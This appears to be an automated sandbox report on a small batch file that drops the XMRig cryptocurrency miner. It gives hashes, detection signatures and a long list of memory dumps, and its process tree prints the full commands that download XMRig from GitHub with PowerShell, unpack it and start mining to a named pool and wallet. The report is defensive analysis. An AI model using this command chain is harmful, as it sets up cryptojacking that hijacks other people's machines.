Analysis

  • max time kernel
    1793s
  • max time network
    1782s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 14:43

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3860
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5068
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1356

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1356-147-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-131-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-122-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-125-0x000002039B220000-0x000002039B240000-memory.dmp

    Filesize

    128KB

  • memory/1356-188-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-187-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-186-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-185-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-184-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-183-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-182-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-181-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-180-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-179-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-178-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-177-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-176-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-149-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-175-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-124-0x000002039B200000-0x000002039B220000-memory.dmp

    Filesize

    128KB

  • memory/1356-123-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-126-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-127-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-129-0x000002039B220000-0x000002039B240000-memory.dmp

    Filesize

    128KB

  • memory/1356-128-0x000002039B200000-0x000002039B220000-memory.dmp

    Filesize

    128KB

  • memory/1356-130-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-148-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-132-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-133-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-134-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-135-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-136-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-137-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-138-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-139-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-140-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-141-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-142-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-143-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-144-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-145-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-146-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-157-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-121-0x0000020399A20000-0x0000020399A40000-memory.dmp

    Filesize

    128KB

  • memory/1356-174-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-150-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-151-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-152-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-153-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-154-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-155-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-156-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-120-0x00000203999E0000-0x0000020399A00000-memory.dmp

    Filesize

    128KB

  • memory/1356-158-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-159-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-160-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-161-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-162-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-163-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-164-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-165-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-166-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-167-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-168-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-169-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-170-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-171-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-172-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1356-173-0x00007FF7F4CF0000-0x00007FF7F57F3000-memory.dmp

    Filesize

    11.0MB

  • memory/3860-10-0x000001EC65200000-0x000001EC65276000-memory.dmp

    Filesize

    472KB

  • memory/3860-9-0x000001EC65040000-0x000001EC65050000-memory.dmp

    Filesize

    64KB

  • memory/3860-8-0x000001EC65040000-0x000001EC65050000-memory.dmp

    Filesize

    64KB

  • memory/3860-6-0x00007FFBE68A0000-0x00007FFBE728C000-memory.dmp

    Filesize

    9.9MB

  • memory/3860-34-0x00007FFBE68A0000-0x00007FFBE728C000-memory.dmp

    Filesize

    9.9MB

  • memory/3860-29-0x000001EC65040000-0x000001EC65050000-memory.dmp

    Filesize

    64KB

  • memory/3860-28-0x000001EC65040000-0x000001EC65050000-memory.dmp

    Filesize

    64KB

  • memory/3860-4-0x000001EC65050000-0x000001EC65072000-memory.dmp

    Filesize

    136KB

  • memory/3860-26-0x00007FFBE68A0000-0x00007FFBE728C000-memory.dmp

    Filesize

    9.9MB

  • memory/3860-27-0x000001EC65040000-0x000001EC65050000-memory.dmp

    Filesize

    64KB

  • memory/3860-25-0x000001EC65040000-0x000001EC65050000-memory.dmp

    Filesize

    64KB

  • memory/5068-40-0x000001EEB2B80000-0x000001EEB2B90000-memory.dmp

    Filesize

    64KB

  • memory/5068-39-0x00007FFBE68A0000-0x00007FFBE728C000-memory.dmp

    Filesize

    9.9MB

  • memory/5068-42-0x000001EEB2B80000-0x000001EEB2B90000-memory.dmp

    Filesize

    64KB

  • memory/5068-66-0x000001EEB2B80000-0x000001EEB2B90000-memory.dmp

    Filesize

    64KB

  • memory/5068-93-0x000001EEB3320000-0x000001EEB332A000-memory.dmp

    Filesize

    40KB

  • memory/5068-80-0x000001EEB3340000-0x000001EEB3352000-memory.dmp

    Filesize

    72KB

  • memory/5068-117-0x00007FFBE68A0000-0x00007FFBE728C000-memory.dmp

    Filesize

    9.9MB